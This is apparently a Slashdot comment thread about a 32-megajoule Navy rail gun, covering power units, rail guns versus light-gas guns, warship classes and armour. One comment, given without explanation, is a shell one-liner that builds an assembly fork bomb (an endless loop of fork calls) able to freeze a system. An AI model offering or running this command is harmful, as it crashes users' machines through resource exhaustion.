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World's Most Powerful Rail Gun Delivered to US Navy
An anonymous reader writes "The world's most powerful functional rail gun capable of accelerating projectiles up to Mach 8 has been delivered to the Navy. The new rail gun is a 32-megajoule Electro-Magnetic Laboratory Rail Gun. The Navy eventually hopes to have 64-megajoule ship mounted rail guns. 'The lab version doesn't look particularly menacing -- more like a long, belt-fed airport screening device than like a futuristic cannon -- but the system will fire rounds at up to Mach 8, drawing on tremendous amounts of electricity to generate the current for each test shot. That, of course, is the problem with rail guns: Like lasers, they're out of step with modern-day generators and capacitors. Eight and 9-megajoule rail guns have been fired before, but providing 3 million amps of power per shot has been a limitation.'"
There is no such thing as overkill. There is only "still firing" and "out of ammo."
In Xanadu did Kubla Khan
A stately pleasure dome decree
Kinetic energy equals mass times speed squared.
Deploying twice the energy should only send the projectile 1.4 (the square root of two) times faster.
I think the jury is still out on whether rail guns or light gas guns will be the next step.
Let me list the current advantages/disadvantages:
Rail Gun:
+ Simple firing mechanism (Two rails, one plug, massive juice)
+Very little muzzle flash
+Very rapid fire (Gatling configuration to spread out heat on rails)
*Acceleration limited by current carrying capability of rails.
- Complex/heavy electrical system (Banks of caps + power supply to charge them)
- Rail wear
-Heavy projectiles increases support structure significantly
Light Gas Gun:
+ Heavy projectiles scales up rather well.
* Medium complexity (More complicated than Gatling mechanism)
* Acceleration limited by maximum chamber pressure.
- Bore wear
- HUMONGOUS muzzle flash (hydrogen combusting)
- Medium rate of fire.
Bottom line: Flechettes: Rail gun; Sub Orbital or ship killer: Light Gas Gun
Currently light gas guns emit a huge fireball out the end of them, which may tend to limit their use for a shoulder fired weapon (anti-tank, anti-air). On the other hand it is a lot easier to store and release obscene amounts of energy in a gas or powder than in electrical form. I would imagine porting the barrel would allow recovery of some of the hydrogen.
One advantage the railgun might have is it might allow different projectile shapes like fins that would be difficult to achieve with a light gas gun.
We should be using light gas guns to ship fuel up to the bottom of a chain of a LEO space elevators.
They ARE out to get you simply because They are in it for themselves and they don't care about you.
The majority of people here seem to think the rail gun is powered by a huge capacitor bank which takes a long time to charge, or required a nuclear power station to run it in a ship....bollocks.
A Megajoule class railgun is powered by a Compulsator, a type of modified alternator ( compensated for low inductance to provide enormous current pulses )...the rotor is spun up by a large engine, and the rotational energy in the rotor is turned into multiple high current pulses...in earlier test systems ( still megajoule class ), they can fire a burst of 10 shots on one spinup. These things can be scaled to fit in a modern tank, or up to naval gun size.
Ampere is a measure of current, not power.
To put it this way, the European Spallation Source is a planned particle accelerator which is planned to have a proton-beam current in the range of a few milli-ampere. That is, comparable to the current drawn by your LCD monitor in standby. The catch is that ESS will be using proton energies up to a billion electron volts, thus making the power output of the accelerator comparable to a small nuclear reactor.
You can NOT quote power in terms of ampere without specifying the voltage. Conversely I've generated several thousands of volts using my bare hands and a piece of nylon, but because the current was rather small nobody noticed.
What is even more interesting is the time over which you can sustain a given power output. Over at our physics department we have lasers with power outputs beyond all the worlds nuclear reactors taken together. The pulse doesn't last very long however...
Surprised more people haven't commented on this. Ending a summary with "3 million amps of power" is a classic Slashdotism. It would once have provoked many responses pointing out that an amp of power makes as much sense as a gallon of distance. Perhaps we can't be bothered correcting the editors any more.
>north
You're an immobile computer, remember?
I remember watching a movie called the Pentagon Wars where they were dramatizing the tests of the M2/M3 Bradley Fighting Vehicle. In it (based on a true story), they tested the aluminum armor plating by launching an anti-tank warhead against it and seeing what would happen inside. They used sheep in the place of humans, and all of the sheep were killed via overheating due to the internal air temperature flaring up.
Mach 1 = Speed of sound. In air, approximately 1,130 feet per second at 21 degrees Centigrade [1]. Mach 8 = 8 x 1,130 ft/s = 9,040 ft/s.
A 7.62mm round has a velocity of 2,756 ft/s [2], approximately Mach 2.4. Energy use is 3,352 J for a bullet weight of 9.50g.
The article doesn't specify, but I imagine the 32MJ rail gun uses projectiles a little larger than 9.5g.
[1] http://en.wikipedia.org/wiki/Speed_of_sound
[2] http://en.wikipedia.org/wiki/7.62x51mm_NATO
This article about proposals for guns on new destroyers for a talks about muzzle velocities of 800-900 metres per second, or about Mach 2.5. Wikipedia says that 1800 mps or about Mach 5 is 'close to the limit achievable with chemical propellants'
So 64MJ and Mach 8 is pretty impressive. It would mean that US ships would have a profound advantage of having ten times the range of their opponents. More to the point if they were attacking a country with not much navy but decent anti ship missiles, they could avoid getting too close to them. Actually this page says China acquired SS-N-22 launchers and missiles (specifically, the for-export 3M-80E Moskit variant) with its 19992000 purchase of two Sovremenny destroyers from Russia. According to Russia, the Chinese funded the development of the SS-N-22 version for the People's Liberation Army Navy (PLAN), which has the designation 3M-80MBE, and this version differs from earlier versions mainly in that the range is increased beyond 200 km, and these new missiles will be first onboard the second pair Sovremenny class destroyers. It is speculated that the PLAN intends to use it against the carrier battle groups deployed by United States Navy in case of any confrontation with Taiwan. Now the railgun can actually fire 200-250 nautical miles or about 460 km, so US ships could stay well out of range.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Meh. He's got some cute pictures, but his grasp of military history is teh fail. The French did *not* discount the possibility of the Germans coming through the neutral Low Countries; in fact, they expected it--it was what they'd done last time, after all. That's what did them in. All their decent units were all lined up on the Belgian border and rushed into the Flanders plain to meet the expected oncoming Germans as soon as Belgium was invaded. But the Germans broke through at the pivot point, in the Ardennes, getting behind the Allied forces now in Belgium and then driving west to the sea to bottle them all up quite nicely, including the British (who managed to evacuate out of the pocket from Dunkirk).
It's interesting how the cost accounting of the modern navy works out. Nuclear power makes sense for carriers and the three classes of subs we operate, SSN, SSBN, and SSGN, but it's never really taken off for surface ships. The last non-carrier nuclear surface boat was the Long Beach, I believe, an escort cruiser.
The whole naming and classification of surface vessels is also weird. Frigate is a name held over from the age of sail. Back then, heavy fighting was done with ships of the line, frigates were used for the free-wheeling missions of escort and raiding and scouting and what have you. Line ships were too important to risk being lost on mundane missions like that. Destroyers were originally called torpedo boat destroyers, ships capable of keeping up with the fleet while screening against torpedo boat attack. A cruiser was not a class but a job description, with frigates operating as cruisers in the age of sail.
By WWII, you had frigates, destroyers, and destroyer escorts operating as small ships working in various roles. Destroyers carried torpedoes to threaten larger ships, 5 inch guns to use against other destroyers and merchantmen, AAA for use against planes and depth charges for subs. The cruiser was intended to be a heavy combatant that could catch anything it could sink and flee from anything that could sink it. You then ended up with all the weird categories of light and heavy cruisers, battle-cruisers, etc. Then you had your battleships, slow sluggers that could not control the range of the fight. Then improvement in propulsion technology created fast battleships that could keep up with the cruisers. Carriers then pissed in everyone's cheerios because the battleship admirals didn't know what to do with them. Concerted air attack could take out a battleship with minimal loss of air crews but the formations the Americans put together towards the end of the Pacific war would have made conventional air attack suicidal for a well-trained and well-provisioned air force, let alone the Japanese. If two US-style fleets faced off, they'd likely run out of planes and pilots before running out of ships, thus forcing the engagement into a gun battle. The rapid development of technology changes everything.
Since the Cold War, the US has dicked around with cruisers and battleships but now the only large surface combatants left are carriers. Even the Aegis cruisers are running on hulls more comparable to destroyers and the arleigh burkes are using the same aegis. With the hitting power of modern anti-ship missiles, it's seen as impossible to armor a ship sufficiently to survive a strike. Then again, US naval thinking is still shaped by the Cold War and the idea that incoming weapons are going to be nuclear so you have to knock them down or else be incinerated, there's no such thing as armoring against a nuke fireball. Since we haven't had a proper naval engagement since WWII, all we're operating under is a bunch of theory that has not been put to the test in a very long time.
Kwisatz Haderach
Sell the spice to CHOAM
This Mahdi took Shaddam's Throne
The Railguns serve a purpose which right now is being filled by EXTREMELY expensive weapons. The cruise missile has a range of about 600 miles, it also moves at a speed that makes them very easy to shoot down. To compensate for this they fly them at extremely low elevation, but they can still be shot down and you can hear them approaching for quite a while before they get there, making it much easier to avoid being hit by one.
The railgun on the other hand currently has a range roughly 1/3rd the distance of a cruise missile and IIRC the 64MJ version has a range around 2/3 the range of a cruise missile. Not only that but the projectile cannot be shot down as no weapon could catch it, nor even if they could (fired head on) would the interceptor be able to stop it as the kinetic energy of the blob of metal would simply disintegrate anything that tried to stop it with almost no deflection of the weapon. Not only that but the railgun offers extremely high energy on impact, far in excess of the 500-2000lb bomb on cruise missiles. I've heard estimates that place the energy release on impact with that of around 15000lbs of TNT, the explosive energy release is huge but the big blob of metal becomes millions of small pieces of metal that fly in every direction along with rocks and dirt moving at ultra high velocities from the impact site. And above all this the railgun projectile is under $500 in comparison to the $1 million dollar tag for the cruise missile.
The railgun essentially allows the USN to toss moderately sized meteorites at enemies. Whenever a naval article comes up everyone likes to talk about how vulnerable the USN is because of Sunburn and other antiship missiles. What they fail to realize is that once the DDX destroyers come online the fleet wouldn't even need to get in sunburn range to absolutely destroy even fortified coastal positions. Take a couple DDX destroyers and the new CDX carriers and you have a fleet that can sit 400 miles off the coast and bombard all the coastal defenses into oblivion before moving further in to bombard the cities and fortifications further in from the coast. The railgun projectiles also have extreme penetration, they can cut through 10's of feet of reinforced concrete with ease, and even underground facilities become susceptible as 10 projectiles could likely cut a massive hole and penetrate buried facilities that could then be followed up with bombs dropped from planes. There is also another advantage, cruise missiles aren't effective against mobile targets because it takes so long for them to get there, at mach 8 the railgun projectiles flight time is extremely small, along with the no advanced warning (no sound preceding impact) gives the projectile a much better chance at hitting mobile targets without having to use manned aircraft.
The USN is also trying to find guidance systems that can survive the G forces in the hope of having some minimal guidance.
CategoryArleigh BurkeKing George V>
Displacement9000 tons23,400 tons
Length509 feet598 feet
Beam60 feet89 feet
Propulsion100,000shp31,000shp
Crew320/td>870
So, the Arleigh Burke is nearly as long, has three times the engine power as a World War I era top of the line British Battleship. In terms of firepower, there's really no comparison. If you plopped an Alreigh Burke and a KGV into the same ocean, the Burke is going to have missiles away before the KGV can even make visual contact.
The moral of the story is that you really have to think about what the Navy has evolved into. It's not that there are no more battleships, per se, it is more like every combatant the navy has is a capital ship in its own right.
I must also digress about armor. It's also a bit of a gap to say that American ships aren't armoured. Yes, it is true that American warships do not have thick steel armour belts in the past, but its also true that thick armour belts can't resist modern shaped charges, its also true that they only were really thick at areas of a ship where designers anticipated the firing arcs of other shells would be. Have a look at the now declassified maps of the USS New Jersey's armor belts. You could theoretically program missiles to hit other parts of the ship. Against a range of threats, from bombs to torpedos, or even missiles that can be programmed to hit a ship from any angle, it is simply impossible to provide passive armor protection on all surfaces.
So, what designers do do is local armoring. They might not armour the entire hull, but they'll wrap critical equipment with some kevlar jackets, and that's not too shabby. That does come from combat experience, in a weird way. During vietnam, they did nothing to protect combat aircraft, but, they realized that putting a little bit of armor around a few critical things would save a lot of planes. These things were incorporated, among other things, into the highly successful A-10, which is a very survivable plane, and, to some extent, that sort of thinking has found itself into US Navy ships as well.
This is my sig.
With such powerful power source as nuclear reactor is, why don't Navy use hydrogen-powered jets and just produce hydrogen for them from sea water, as needed? That would boost operational autonomy over the top.
Hydrogen is hard to store. You end up either with heavy high-pressure tanks, or with metal hydrides. Both take up much more volume than the equivalent amount of energy in oil-based fuel. It might be possible, but space and weight for carrier aircraft are always at a premium: making them all 50% larger to accomodate hydrogen tanks would halve the number of aircraft on the carrier, which would make the carrier only 30% as effective as it is now.
Also, you'd need a huge plant to keep up with demand.
The A4W used in the Nimitz class can supply some 100 MW.
Hydrogen contains 37 kWh/kg, let's say hydrolysis is 50% efficient so you need 74 kWh to make 1 kg. 100 MW will get you 1351 kg of hydrogen per hour. That's 31 tons per day.
The Nimitz carries about 11,000 metric tons of aviation fuel. Every aircraft takes off with 5-10 tons of fuel on board, you've got 85 aircraft, so you're looking at using (2 sorties *85*7 tons average) ~1200 tons of fuel per day. You need a reactor 40 times as large as the A4W to keep up with demand.
How do you have a projectile with a 200+ mile range that isn't guided?
Even at Mach 8 there's almost a two minute flight time to reach 200 miles. Ignoring wind, the coriolis effect and everything else that could change the course of your projectile, what happens if the target changes course in that time or takes evasive action? A lot can happen in two minutes.....
I want peace on earth and goodwill toward man.
We are the United States Government! We don't do that sort of thing.
"Nuclear power makes sense for carriers and the three classes of subs we operate, SSN, SSBN, and SSGN, but it's never really taken off for surface ships. The last non-carrier nuclear surface boat was the Long Beach, I believe, an escort cruiser."
Different missions.
Submarines are supposed to stay hidden for long periods of time, and they can't do that if they have to pop up ever few days at the local fuel depot. The carriers are supposed to be out there doing the whole power-projection thing, but (again) it's hard to be out there projecting power when your planes spend a few days every month pwning the airspace around Ye Olde Coaling Station. Really, there's nothing interesting going on at Diego Garcia.
As for the not-so-capital capital ships (at least those not tied to a carrier battlegroup), their job is more or less to fly the flag, preferably in places where people can see it, and people have a tendency to live on land. So your frigates and your destroyers have a bit of a diplomatic role to play when they come to a port, disgorging the crew to partake of the local breweries and sex workers, as a way of telling everybody "Yeah, we're still here. And this is our boom stick." And if you're going to be hanging out anyway, why invest in a technology meant to help you avoid doing so? And on top of that, there are people like the Kiwis still squeamish about the whole "nukular" thing.
Once you decide nuclear isn't worth it on these vessels, the only question remaining is whether to pay money to build a whole separate class of nuclear fun-sized ships for escorting the CVNs (and there's only so many), or to pay money to throw a tanker or two into the mix of a battlegroup.